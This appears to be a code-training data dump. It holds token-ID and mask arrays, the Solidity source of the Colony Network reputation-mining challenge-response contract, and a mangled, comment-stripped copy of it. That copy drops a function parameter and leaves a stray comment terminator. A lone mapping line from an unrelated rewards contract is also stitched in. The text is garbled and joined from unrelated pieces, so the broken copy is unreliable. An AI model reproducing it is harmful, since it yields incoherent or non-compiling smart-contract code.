[ 1, 4644, 502, 7120, 316, 326, 805, 4471, 487, 2193, 4991, 1158, 10067, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 81, 474, 12, 2867, 2236, 16, 2254, 5034, 3844, 13, 2713, 288, 203, 3639, 2240, 6315, 81, 474, 12, 4631, 16, 3844, 1769, 203, 3639, 309, 261, 23322, 4002, 1435, 597, 2695, 13, 288, 203, 5411, 10067, 18, 13362, 29637, 12, 2867, 12, 20, 3631, 2236, 16, 3844, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* This file is part of The Colony Network. The Colony Network is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. The Colony Network is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with The Colony Network. If not, see <http://www.gnu.org/licenses/>. */ pragma solidity ^0.4.23; pragma experimental "v0.5.0"; import "../lib/dappsys/math.sol"; import "./IColonyNetwork.sol"; import "./PatriciaTree/PatriciaTreeProofs.sol"; import "./ITokenLocking.sol"; import "./ReputationMiningCycleStorage.sol"; // TODO (post CCv1, possibly never): Can we handle all possible disputes regarding the very first hash that should be set? // Currently, at the very least, we can't handle a dispute if the very first entry is disputed. // A possible workaround would be to 'kick off' reputation mining with a known dummy state... // Given the approach we a taking for launch, we are able to guarantee that we are the only reputation miner for 100+ of the first cycles, even if we decided to lengthen a cycle length. As a result, maybe we just don't care about this special case? contract ReputationMiningCycleRespond is ReputationMiningCycleStorage, PatriciaTreeProofs, DSMath { /// @notice A modifier that checks if the challenge corresponding to the hash in the passed `round` and `id` is open /// @param round The round number of the hash under consideration /// @param idx The index in the round of the hash under consideration modifier challengeOpen(uint256 round, uint256 idx) { // Check the binary search has finished, but not necessarily confirmed require(disputeRounds[round][idx].lowerBound == disputeRounds[round][idx].upperBound, "colony-reputation-mining-challenge-closed"); // Check the binary search result has been confirmed require( 2**(disputeRounds[round][idx].challengeStepCompleted-2)>disputeRounds[round][idx].jrhNnodes, "colony-reputation-mining-binary-search-result-not-confirmed" ); // Check that we have not already responded to the challenge require( 2**(disputeRounds[round][idx].challengeStepCompleted-3)<=disputeRounds[round][idx].jrhNnodes, "colony-reputation-mining-challenge-already-responded" ); _; } uint constant U_ROUND = 0; uint constant U_IDX = 1; uint constant U_REPUTATION_BRANCH_MASK = 2; uint constant U_AGREE_STATE_NNODES = 3; uint constant U_AGREE_STATE_BRANCH_MASK = 4; uint constant U_DISAGREE_STATE_NNODES = 5; uint constant U_DISAGREE_STATE_BRANCH_MASK = 6; uint constant U_PREVIOUS_NEW_REPUTATION_BRANCH_MASK = 7; uint constant U_REQUIRE_REPUTATION_CHECK = 8; uint constant U_LOG_ENTRY_NUMBER = 9; uint constant U_DECAY_TRANSITION = 10; uint constant DECAY_NUMERATOR = 992327946262944; // 24-hr mining cycles uint constant DECAY_DENOMINATOR = 1000000000000000; function respondToChallenge( uint256[11] u, //An array of 11 UINT Params, ordered as given above. bytes _reputationKey, bytes32[] reputationSiblings, bytes agreeStateReputationValue, bytes32[] agreeStateSiblings, bytes disagreeStateReputationValue, bytes32[] disagreeStateSiblings, bytes previousNewReputationKey, bytes previousNewReputationValue, bytes32[] previousNewReputationSiblings ) public challengeOpen(u[U_ROUND], u[U_IDX]) { u[U_REQUIRE_REPUTATION_CHECK] = 0; u[U_DECAY_TRANSITION] = 0; // TODO: More checks that this is an appropriate time to respondToChallenge (maybe in modifier); /* bytes32 jrh = disputeRounds[round][idx].jrh; */ // The contract knows // 1. the jrh for this submission // 2. The first index where this submission and its opponent differ. // Need to prove // 1. The reputation that is updated that we disagree on's value, before the first index // where we differ, and in the first index where we differ. // 2. That no other changes are made to the reputation state. The proof for those // two reputations in (1) is therefore required to be the same. // 3. That our 'after' value is correct. This is done by doing the calculation on-chain, perhaps // after looking up the corresponding entry in the reputation update log (the alternative is // that it's a decay calculation - not yet implemented.) // Check the supplied key is appropriate. checkKey(u, _reputationKey, agreeStateReputationValue); // Prove the reputation's starting value is in some state, and that state is in the appropriate index in our JRH proveBeforeReputationValue(u, _reputationKey, reputationSiblings, agreeStateReputationValue, agreeStateSiblings); // Prove the reputation's final value is in a particular state, and that state is in our JRH in the appropriate index (corresponding to the first disagreement between these miners) // By using the same branchMask and siblings, we know that no other changes to the reputation state tree have been slipped in. proveAfterReputationValue(u, _reputationKey, reputationSiblings, disagreeStateReputationValue, disagreeStateSiblings); // Perform the reputation calculation ourselves. performReputationCalculation(u, agreeStateReputationValue, disagreeStateReputationValue, previousNewReputationValue); // Check the supplied previousNewRepuation is, in fact, in the same reputation state as the agreeState0 checkPreviousReputationInState( u, agreeStateSiblings, previousNewReputationKey, previousNewReputationValue, previousNewReputationSiblings); saveProvedReputation(u, previousNewReputationValue); // If everthing checked out, note that we've responded to the challenge. disputeRounds[u[U_ROUND]][u[U_IDX]].challengeStepCompleted += 1; disputeRounds[u[U_ROUND]][u[U_IDX]].lastResponseTimestamp = now; // Safety net? /* if (disputeRounds[round][idx].challengeStepCompleted==disputeRounds[round][opponentIdx].challengeStepCompleted){ // Freeze the reputation mining system. } */ } ///////////////////////// // Internal functions ///////////////////////// function checkKey(uint256[11] u, bytes memory _reputationKey, bytes memory _reputationValue) internal { // If the state transition we're checking is less than the number of nodes in the currently accepted state, it's a decay transition // Otherwise, look up the corresponding entry in the reputation log. uint256 updateNumber = disputeRounds[u[U_ROUND]][u[U_IDX]].lowerBound - 1; if (updateNumber < IColonyNetwork(colonyNetworkAddress).getReputationRootHashNNodes()) { checkKeyDecay(updateNumber, _reputationValue); u[U_DECAY_TRANSITION] = 1; } else { checkKeyLogEntry(u[U_ROUND], u[U_IDX], u[U_LOG_ENTRY_NUMBER], _reputationKey); } } function checkKeyDecay(uint256 _updateNumber, bytes memory _reputationValue) internal { uint256 uid; bytes memory reputationValue = new bytes(64); reputationValue = _reputationValue; assembly { // NB first 32 bytes contain the length of the bytes object, so we are still correctly loading the second 32 bytes of the // reputationValue, which contains the UID uid := mload(add(reputationValue,64)) } // We check that the reputation UID is right for the decay transition being disputed. // The key is then implicitly checked when they prove that the key+value they supplied is in the // right intermediate state in their justification tree. require(uid-1 == _updateNumber, "colony-reputation-mining-uid-not-decay"); } function checkKeyLogEntry(uint256 round, uint256 idx, uint256 logEntryNumber, bytes memory _reputationKey) internal { uint256 updateNumber = disputeRounds[round][idx].lowerBound - 1 - IColonyNetwork(colonyNetworkAddress).getReputationRootHashNNodes(); ReputationLogEntry storage logEntry = reputationUpdateLog[logEntryNumber]; // Check that the supplied log entry corresponds to this update number require(updateNumber >= logEntry.nPreviousUpdates, "colony-reputation-mining-update-number-part-of-previous-log-entry-updates"); require( updateNumber < logEntry.nUpdates + logEntry.nPreviousUpdates, "colony-reputation-mining-update-number-part-of-following-log-entry-updates"); uint expectedSkillId; address expectedAddress; (expectedSkillId, expectedAddress) = getExpectedSkillIdAndAddress(logEntry, updateNumber); bytes memory reputationKey = new bytes(20+32+20); reputationKey = _reputationKey; address colonyAddress; address userAddress; uint256 skillId; assembly { colonyAddress := mload(add(reputationKey,20)) // 20, not 32, because we're copying in to a slot that will be interpreted as an address. // which will truncate the leftmost 12 bytes skillId := mload(add(reputationKey, 52)) userAddress := mload(add(reputationKey,72)) // 72, not 84, for the same reason as above. Is this being too clever? I don't think there are // any unintended side effects here, but I'm not quite confortable enough with EVM's stack to be sure. // Not sure what the alternative would be anyway. } require(expectedAddress == userAddress, "colony-reputation-mining-user-address-mismatch"); require(logEntry.colony == colonyAddress, "colony-reputation-mining-colony-address-mismatch"); require(expectedSkillId == skillId, "colony-reputation-mining-skill-id-mismatch"); } function getExpectedSkillIdAndAddress(ReputationLogEntry storage logEntry, uint256 updateNumber) internal view returns (uint256 expectedSkillId, address expectedAddress) { // Work out the expected userAddress and skillId for this updateNumber in this logEntry. if ((updateNumber - logEntry.nPreviousUpdates + 1) <= logEntry.nUpdates / 2 ) { // Then we're updating a colony-wide total, so we expect an address of 0x0 expectedAddress = 0x0; } else { // We're updating a user-specific total expectedAddress = logEntry.user; } // Expected skill Id // We update skills in the order children, then parents, then the skill listed in the log itself. // If the amount in the log is positive, then no children are being updated. uint nParents; (nParents, , ) = IColonyNetwork(colonyNetworkAddress).getSkill(logEntry.skillId); uint nChildUpdates; if (logEntry.amount >= 0) { // solium-disable-line no-empty-blocks, whitespace // Then we have no child updates to consider } else { nChildUpdates = logEntry.nUpdates/2 - 1 - nParents; // NB This is not necessarily the same as nChildren. However, this is the number of child updates // that this entry in the log was expecting at the time it was created. } uint256 relativeUpdateNumber = (updateNumber - logEntry.nPreviousUpdates) % (logEntry.nUpdates/2); if (relativeUpdateNumber < nChildUpdates) { expectedSkillId = IColonyNetwork(colonyNetworkAddress).getChildSkillId(logEntry.skillId, relativeUpdateNumber); } else if (relativeUpdateNumber < (nChildUpdates+nParents)) { expectedSkillId = IColonyNetwork(colonyNetworkAddress).getParentSkillId(logEntry.skillId, relativeUpdateNumber - nChildUpdates); } else { expectedSkillId = logEntry.skillId; } } function proveBeforeReputationValue( uint256[11] u, bytes _reputationKey, bytes32[] reputationSiblings, bytes agreeStateReputationValue, bytes32[] agreeStateSiblings ) internal { bytes32 jrh = disputeRounds[u[U_ROUND]][u[U_IDX]].jrh; // We binary searched to the first disagreement, so the last agreement is the one before. uint256 lastAgreeIdx = disputeRounds[u[U_ROUND]][u[U_IDX]].lowerBound - 1; uint256 reputationValue; assembly { reputationValue := mload(add(agreeStateReputationValue, 32)) } bytes32 reputationRootHash = getImpliedRoot(_reputationKey, agreeStateReputationValue, u[U_REPUTATION_BRANCH_MASK], reputationSiblings); bytes memory jhLeafValue = new bytes(64); bytes memory lastAgreeIdxBytes = new bytes(32); assembly { mstore(add(jhLeafValue, 0x20), reputationRootHash) let x := mload(add(u, mul(32,3))) // 3 = U_AGREE_STATE_NNODES. Constants not supported by inline solidity mstore(add(jhLeafValue, 0x40), x) mstore(add(lastAgreeIdxBytes, 0x20), lastAgreeIdx) } // Prove that state is in our JRH, in the index corresponding to the last state that the two submissions // agree on. bytes32 impliedRoot = getImpliedRoot(lastAgreeIdxBytes, jhLeafValue, u[U_AGREE_STATE_BRANCH_MASK], agreeStateSiblings); if (reputationValue == 0 && impliedRoot != jrh) { // This implies they are claiming that this is a new hash. return; } require(impliedRoot == jrh, "colony-reputation-mining-invalid-before-reputation-proof"); // They've actually verified whatever they claimed. We increment their challengeStepCompleted by one to indicate this. // In the event that our opponent lied about this reputation not existing yet in the tree, they will both complete // a call to respondToChallenge, but we will have a higher challengeStepCompleted value, and so they will be the ones // eliminated. disputeRounds[u[U_ROUND]][u[U_IDX]].challengeStepCompleted += 1; // I think this trick can be used exactly once, and only because this is the last function to be called in the challege, // and I'm choosing to use it here. I *think* this is okay, because the only situation // where we don't prove anything with merkle proofs in this whole dance is here. } function proveAfterReputationValue( uint256[11] u, bytes _reputationKey, bytes32[] reputationSiblings, bytes disagreeStateReputationValue, bytes32[] disagreeStateSiblings ) internal view { bytes32 jrh = disputeRounds[u[U_ROUND]][u[U_IDX]].jrh; uint256 firstDisagreeIdx = disputeRounds[u[U_ROUND]][u[U_IDX]].lowerBound; bytes32 reputationRootHash = getImpliedRoot(_reputationKey, disagreeStateReputationValue, u[U_REPUTATION_BRANCH_MASK], reputationSiblings); // Prove that state is in our JRH, in the index corresponding to the last state that the two submissions // agree on. bytes memory jhLeafValue = new bytes(64); bytes memory firstDisagreeIdxBytes = new bytes(32); assembly { mstore(add(jhLeafValue, 0x20), reputationRootHash) let x := mload(add(u, mul(32,5))) // 5 = U_DISAGREE_STATE_NNODES. Constants not supported by inline solidity. mstore(add(jhLeafValue, 0x40), x) mstore(add(firstDisagreeIdxBytes, 0x20), firstDisagreeIdx) } bytes32 impliedRoot = getImpliedRoot(firstDisagreeIdxBytes, jhLeafValue, u[U_DISAGREE_STATE_BRANCH_MASK], disagreeStateSiblings); require(jrh==impliedRoot, "colony-reputation-mining-invalid-after-reputation-proof"); } function performReputationCalculation( uint256[11] u, bytes agreeStateReputationValueBytes, bytes disagreeStateReputationValueBytes, bytes previousNewReputationValueBytes ) internal view { // TODO: Possibility of reputation loss - child reputations do not lose the whole of logEntry.amount, but the same fraction logEntry amount is of the user's reputation in skill given by logEntry.skillId ReputationLogEntry storage logEntry = reputationUpdateLog[u[U_LOG_ENTRY_NUMBER]]; uint256 agreeStateReputationValue; uint256 disagreeStateReputationValue; uint256 agreeStateReputationUID; uint256 disagreeStateReputationUID; assembly { agreeStateReputationValue := mload(add(agreeStateReputationValueBytes, 32)) disagreeStateReputationValue := mload(add(disagreeStateReputationValueBytes, 32)) agreeStateReputationUID := mload(add(agreeStateReputationValueBytes, 64)) disagreeStateReputationUID := mload(add(disagreeStateReputationValueBytes, 64)) } if (agreeStateReputationUID != 0) { // i.e. if this was an existing reputation, then require that the ID hasn't changed. require(agreeStateReputationUID==disagreeStateReputationUID, "colony-reputation-mining-uid-changed-for-existing-reputation"); } else { uint256 previousNewReputationUID; assembly { previousNewReputationUID := mload(add(previousNewReputationValueBytes, 64)) } require(previousNewReputationUID + 1 == disagreeStateReputationUID, "colony-reputation-mining-new-uid-incorrect"); } // We don't care about underflows for the purposes of comparison, but for the calculation we deem 'correct'. // i.e. a reputation can't be negative. if (u[U_DECAY_TRANSITION] == 1) { // Very large reputation decays are calculated the 'other way around' to avoid overflows. if (agreeStateReputationValue > uint256(2**256 - 1)/uint256(10**15)) { require(disagreeStateReputationValue == (agreeStateReputationValue/DECAY_DENOMINATOR)*DECAY_NUMERATOR, "colony-reputation-mining-decay-incorrect"); } else { require(disagreeStateReputationValue == (agreeStateReputationValue*DECAY_NUMERATOR)/DECAY_DENOMINATOR, "colony-reputation-mining-decay-incorrect"); } } else { if (logEntry.amount < 0 && uint(logEntry.amount * -1) > agreeStateReputationValue ) { require(disagreeStateReputationValue == 0, "colony-reputation-mining-reputation-value-non-zero"); } else if (uint(logEntry.amount) + agreeStateReputationValue < agreeStateReputationValue) { // We also don't allow reputation to overflow require(disagreeStateReputationValue == 2**256 - 1, "colony-reputation-mining-reputation-not-max-uint"); } else { // TODO: Is this safe? I think so, because even if there's over/underflows, they should // still be the same number. require(int(agreeStateReputationValue)+logEntry.amount == int(disagreeStateReputationValue), "colony-reputation-mining-invalid-newest-reputation-proof"); } } } function checkPreviousReputationInState( uint256[11] u, bytes32[] agreeStateSiblings, bytes previousNewReputationKey, bytes previousNewReputationValue, bytes32[] previousNewReputationSiblings ) internal view { // We binary searched to the first disagreement, so the last agreement is the one before uint256 lastAgreeIdx = disputeRounds[u[U_ROUND]][u[U_IDX]].lowerBound - 1; bytes32 reputationRootHash = getImpliedRoot( previousNewReputationKey, previousNewReputationValue, u[U_PREVIOUS_NEW_REPUTATION_BRANCH_MASK], previousNewReputationSiblings ); bytes memory jhLeafValue = new bytes(64); bytes memory lastAgreeIdxBytes = new bytes(32); assembly { mstore(add(jhLeafValue, 0x20), reputationRootHash) let x := mload(add(u, mul(32,3))) // 3 = U_AGREE_STATE_NNODES. Constants not supported by inline assembly mstore(add(jhLeafValue, 0x40), x) mstore(add(lastAgreeIdxBytes, 0x20), lastAgreeIdx) } // Prove that state is in our JRH, in the index corresponding to the last state that the two submissions agree on bytes32 impliedRoot = getImpliedRoot(lastAgreeIdxBytes, jhLeafValue, u[U_AGREE_STATE_BRANCH_MASK], agreeStateSiblings); require(impliedRoot == disputeRounds[u[U_ROUND]][u[U_IDX]].jrh, "colony-reputation-mining-last-state-disagreement"); } function saveProvedReputation(uint256[11] u, bytes previousNewReputationValue) internal { uint256 previousReputationUID; assembly { previousReputationUID := mload(add(previousNewReputationValue,0x40)) } // Require that it is at least plausible uint256 delta = disputeRounds[u[U_ROUND]][u[U_IDX]].intermediateReputationNNodes - previousReputationUID; // Could be zero if this is an update to an existing reputation, or it could be 1 if we have just added a new // reputation. Anything else is inconsistent. // We don't care about over/underflowing, and don't want to use `sub` so that this require message is returned. require(delta == 0 || delta == 1, "colony-reputation-mining-proved-uid-inconsistent"); // Save the index for tiebreak scenarios later. disputeRounds[u[U_ROUND]][u[U_IDX]].provedPreviousReputationUID = previousReputationUID; } }
TODO (post CCv1, possibly never): Can we handle all possible disputes regarding the very first hash that should be set? Currently, at the very least, we can't handle a dispute if the very first entry is disputed. A possible workaround would be to 'kick off' reputation mining with a known dummy state... Given the approach we a taking for launch, we are able to guarantee that we are the only reputation miner for 100+ of the first cycles, even if we decided to lengthen a cycle length. As a result, maybe we just don't care about this special case?
contract ReputationMiningCycleRespond is ReputationMiningCycleStorage, PatriciaTreeProofs, DSMath { This file is part of The Colony Network. modifier challengeOpen(uint256 round, uint256 idx) { require(disputeRounds[round][idx].lowerBound == disputeRounds[round][idx].upperBound, "colony-reputation-mining-challenge-closed"); require( 2**(disputeRounds[round][idx].challengeStepCompleted-2)>disputeRounds[round][idx].jrhNnodes, "colony-reputation-mining-binary-search-result-not-confirmed" ); require( 2**(disputeRounds[round][idx].challengeStepCompleted-3)<=disputeRounds[round][idx].jrhNnodes, "colony-reputation-mining-challenge-already-responded" ); _; } uint constant U_ROUND = 0; uint constant U_IDX = 1; uint constant U_REPUTATION_BRANCH_MASK = 2; uint constant U_AGREE_STATE_NNODES = 3; uint constant U_AGREE_STATE_BRANCH_MASK = 4; uint constant U_DISAGREE_STATE_NNODES = 5; uint constant U_DISAGREE_STATE_BRANCH_MASK = 6; uint constant U_PREVIOUS_NEW_REPUTATION_BRANCH_MASK = 7; uint constant U_REQUIRE_REPUTATION_CHECK = 8; uint constant U_LOG_ENTRY_NUMBER = 9; uint constant U_DECAY_TRANSITION = 10; uint constant DECAY_DENOMINATOR = 1000000000000000; function respondToChallenge( bytes _reputationKey, bytes32[] reputationSiblings, bytes agreeStateReputationValue, bytes32[] agreeStateSiblings, bytes disagreeStateReputationValue, bytes32[] disagreeStateSiblings, bytes previousNewReputationKey, bytes previousNewReputationValue, bytes32[] previousNewReputationSiblings ) public challengeOpen(u[U_ROUND], u[U_IDX]) { u[U_REQUIRE_REPUTATION_CHECK] = 0; u[U_DECAY_TRANSITION] = 0; checkKey(u, _reputationKey, agreeStateReputationValue); proveBeforeReputationValue(u, _reputationKey, reputationSiblings, agreeStateReputationValue, agreeStateSiblings); proveAfterReputationValue(u, _reputationKey, reputationSiblings, disagreeStateReputationValue, disagreeStateSiblings); performReputationCalculation(u, agreeStateReputationValue, disagreeStateReputationValue, previousNewReputationValue); checkPreviousReputationInState( u, agreeStateSiblings, previousNewReputationKey, previousNewReputationValue, previousNewReputationSiblings); saveProvedReputation(u, previousNewReputationValue); disputeRounds[u[U_ROUND]][u[U_IDX]].challengeStepCompleted += 1; disputeRounds[u[U_ROUND]][u[U_IDX]].lastResponseTimestamp = now; } */ }
12,652,125
[ 1, 6241, 261, 2767, 16525, 90, 21, 16, 10016, 5903, 4672, 4480, 732, 1640, 777, 3323, 1015, 458, 281, 29012, 326, 8572, 1122, 1651, 716, 1410, 506, 444, 35, 15212, 16, 622, 326, 8572, 4520, 16, 732, 848, 1404, 1640, 279, 1015, 2507, 309, 326, 8572, 1122, 1241, 353, 1015, 458, 329, 18, 432, 3323, 18975, 4102, 506, 358, 296, 79, 1200, 3397, 11, 283, 458, 367, 1131, 310, 598, 279, 4846, 9609, 919, 2777, 16803, 326, 17504, 732, 279, 13763, 364, 8037, 16, 732, 854, 7752, 358, 18779, 716, 732, 854, 326, 1338, 283, 458, 367, 1131, 264, 364, 2130, 15, 434, 326, 1122, 15139, 16, 5456, 309, 732, 2109, 13898, 358, 769, 275, 279, 8589, 769, 18, 2970, 279, 563, 16, 6944, 732, 2537, 2727, 1404, 7671, 2973, 333, 4582, 648, 35, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 868, 458, 367, 2930, 310, 13279, 19577, 353, 868, 458, 367, 2930, 310, 13279, 3245, 16, 29541, 1512, 1155, 2471, 20439, 87, 16, 463, 7303, 421, 288, 203, 203, 225, 1220, 585, 353, 1087, 434, 1021, 1558, 6598, 5128, 18, 203, 203, 225, 9606, 12948, 3678, 12, 11890, 5034, 3643, 16, 2254, 5034, 2067, 13, 288, 203, 565, 2583, 12, 2251, 2507, 54, 9284, 63, 2260, 6362, 3465, 8009, 8167, 3499, 422, 1015, 2507, 54, 9284, 63, 2260, 6362, 3465, 8009, 5797, 3499, 16, 315, 1293, 6598, 17, 266, 458, 367, 17, 1154, 310, 17, 25092, 17, 12204, 8863, 203, 565, 2583, 12, 203, 1377, 576, 636, 12, 2251, 2507, 54, 9284, 63, 2260, 6362, 3465, 8009, 25092, 4160, 9556, 17, 22, 13, 34, 2251, 2507, 54, 9284, 63, 2260, 6362, 3465, 8009, 78, 30138, 50, 4690, 16, 203, 1377, 315, 1293, 6598, 17, 266, 458, 367, 17, 1154, 310, 17, 8578, 17, 3072, 17, 2088, 17, 902, 17, 21606, 6, 203, 565, 11272, 203, 565, 2583, 12, 203, 1377, 576, 636, 12, 2251, 2507, 54, 9284, 63, 2260, 6362, 3465, 8009, 25092, 4160, 9556, 17, 23, 13, 32, 33, 2251, 2507, 54, 9284, 63, 2260, 6362, 3465, 8009, 78, 30138, 50, 4690, 16, 203, 1377, 315, 1293, 6598, 17, 266, 458, 367, 17, 1154, 310, 17, 25092, 17, 17583, 17, 455, 500, 785, 6, 203, 565, 11272, 203, 565, 389, 31, 203, 225, 289, 203, 203, 225, 2254, 5381, 587, 67, 15092, 273, 374, 31, 203, 225, 2254, 5381, 587, 67, 25647, 2 ]
./partial_match/1/0xda9846665Bdb44b0d0CAFFd0d1D4A539932BeBdf/sources/VeBoostDelegationMultiRewards.sol
@notice Mapping from token -> week timestamp -> number of rewards accured during the week.
mapping(address => mapping(uint256 => uint256)) public weeklyRewards;
2,635,808
[ 1, 3233, 628, 1147, 317, 4860, 2858, 317, 1300, 434, 283, 6397, 4078, 2862, 4982, 326, 4860, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2874, 12, 2867, 516, 2874, 12, 11890, 5034, 516, 2254, 5034, 3719, 1071, 4860, 715, 17631, 14727, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
